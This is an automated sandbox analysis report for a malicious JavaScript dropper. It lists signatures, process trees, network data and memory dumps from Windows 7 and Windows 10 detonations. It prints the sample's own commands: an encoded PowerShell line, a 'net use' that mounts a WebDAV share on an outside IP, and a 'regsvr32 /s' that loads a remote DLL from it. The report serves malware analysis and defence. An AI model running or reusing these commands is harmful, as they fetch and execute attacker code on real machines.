Malware Analysis Report

2024-12-07 17:03

Sample ID 241113-c4vt7avgpp
Target 899a535e31b78c7d75badfbcf9ca19e0e35a70763a3c97ff2db09d3d0dcdad1e.js
SHA256 899a535e31b78c7d75badfbcf9ca19e0e35a70763a3c97ff2db09d3d0dcdad1e
Tags
defense_evasion execution
score
7/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
7/10

SHA256

899a535e31b78c7d75badfbcf9ca19e0e35a70763a3c97ff2db09d3d0dcdad1e

Threat Level: Shows suspicious behavior

The file 899a535e31b78c7d75badfbcf9ca19e0e35a70763a3c97ff2db09d3d0dcdad1e.js was found to be: Shows suspicious behavior.

Malicious Activity Summary

defense_evasion execution

Checks computer location settings

Obfuscated Files or Information: Command Obfuscation

Command and Scripting Interpreter: JavaScript

Enumerates physical storage devices

Delays execution with timeout.exe

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-13 02:38

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-13 02:38

Reported

2024-11-13 02:40

Platform

win7-20241023-en

Max time kernel

119s

Max time network

120s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\899a535e31b78c7d75badfbcf9ca19e0e35a70763a3c97ff2db09d3d0dcdad1e.js

Signatures

Obfuscated Files or Information: Command Obfuscation

defense_evasion

Command and Scripting Interpreter: JavaScript

execution

Enumerates physical storage devices

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\timeout.exe N/A

Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam

Description Indicator Process Target
N/A N/A C:\Windows\system32\regsvr32.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1596 wrote to memory of 2668 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1596 wrote to memory of 2668 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1596 wrote to memory of 2668 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2668 wrote to memory of 2528 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\timeout.exe
PID 2668 wrote to memory of 2528 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\timeout.exe
PID 2668 wrote to memory of 2528 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\timeout.exe
PID 2668 wrote to memory of 2728 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2668 wrote to memory of 2728 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2668 wrote to memory of 2728 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2728 wrote to memory of 1532 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\net.exe
PID 2728 wrote to memory of 1532 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\net.exe
PID 2728 wrote to memory of 1532 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\net.exe
PID 2668 wrote to memory of 2788 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2668 wrote to memory of 2788 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2668 wrote to memory of 2788 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2788 wrote to memory of 2560 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\regsvr32.exe
PID 2788 wrote to memory of 2560 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\regsvr32.exe
PID 2788 wrote to memory of 2560 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\regsvr32.exe
PID 2788 wrote to memory of 2560 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\regsvr32.exe
PID 2788 wrote to memory of 2560 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\regsvr32.exe

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\899a535e31b78c7d75badfbcf9ca19e0e35a70763a3c97ff2db09d3d0dcdad1e.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand dABpAG0AZQBvAHUAdAAgADEAOwBjAG0AZAAgAC8AYwAgAG4AZQB0ACAAdQBzAGUAIABcAFwAOQA0AC4AMQA1ADkALgAxADEAMwAuADcAOQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAOwBjAG0AZAAgAC8AYwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4ANwA5AEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAzADIAMQA1ADYANAA2ADIAMgAyADcAMQA1ADQALgBkAGwAbAA=

C:\Windows\system32\timeout.exe

"C:\Windows\system32\timeout.exe" 1

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c net use \\94.159.113.79@8888\davwwwroot\

C:\Windows\system32\net.exe

net use \\94.159.113.79@8888\davwwwroot\

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c regsvr32 /s \\94.159.113.79@8888\davwwwroot\32156462227154.dll

C:\Windows\system32\regsvr32.exe

regsvr32 /s \\94.159.113.79@8888\davwwwroot\32156462227154.dll

Network

N/A

Files

memory/2668-4-0x000007FEF59AE000-0x000007FEF59AF000-memory.dmp

memory/2668-5-0x000000001B640000-0x000000001B922000-memory.dmp

memory/2668-6-0x0000000002130000-0x0000000002138000-memory.dmp

memory/2668-7-0x000007FEF56F0000-0x000007FEF608D000-memory.dmp

memory/2668-8-0x000007FEF56F0000-0x000007FEF608D000-memory.dmp

memory/2668-9-0x000007FEF56F0000-0x000007FEF608D000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-13 02:38

Reported

2024-11-13 02:40

Platform

win10v2004-20241007-en

Max time kernel

150s

Max time network

149s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\899a535e31b78c7d75badfbcf9ca19e0e35a70763a3c97ff2db09d3d0dcdad1e.js

Signatures

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation C:\Windows\system32\wscript.exe N/A

Obfuscated Files or Information: Command Obfuscation

defense_evasion

Command and Scripting Interpreter: JavaScript

execution

Enumerates physical storage devices

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\timeout.exe N/A

Runs net.exe

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\899a535e31b78c7d75badfbcf9ca19e0e35a70763a3c97ff2db09d3d0dcdad1e.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand dABpAG0AZQBvAHUAdAAgADEAOwBjAG0AZAAgAC8AYwAgAG4AZQB0ACAAdQBzAGUAIABcAFwAOQA0AC4AMQA1ADkALgAxADEAMwAuADcAOQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAOwBjAG0AZAAgAC8AYwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4ANwA5AEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAzADIAMQA1ADYANAA2ADIAMgAyADcAMQA1ADQALgBkAGwAbAA=

C:\Windows\system32\timeout.exe

"C:\Windows\system32\timeout.exe" 1

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c net use \\94.159.113.79@8888\davwwwroot\

C:\Windows\system32\net.exe

net use \\94.159.113.79@8888\davwwwroot\

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c regsvr32 /s \\94.159.113.79@8888\davwwwroot\32156462227154.dll

C:\Windows\system32\regsvr32.exe

regsvr32 /s \\94.159.113.79@8888\davwwwroot\32156462227154.dll

Network

Country Destination Domain Proto
US 8.8.8.8:53 133.211.185.52.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 73.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 66.209.201.84.in-addr.arpa udp
US 8.8.8.8:53 83.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 43.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 udp

Files

memory/3800-0-0x00007FFCE6773000-0x00007FFCE6775000-memory.dmp

memory/3800-1-0x0000012947320000-0x0000012947342000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ylk5ee2t.hjt.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3800-11-0x00007FFCE6770000-0x00007FFCE7231000-memory.dmp

memory/3800-12-0x00007FFCE6770000-0x00007FFCE7231000-memory.dmp

memory/3800-15-0x00007FFCE6770000-0x00007FFCE7231000-memory.dmp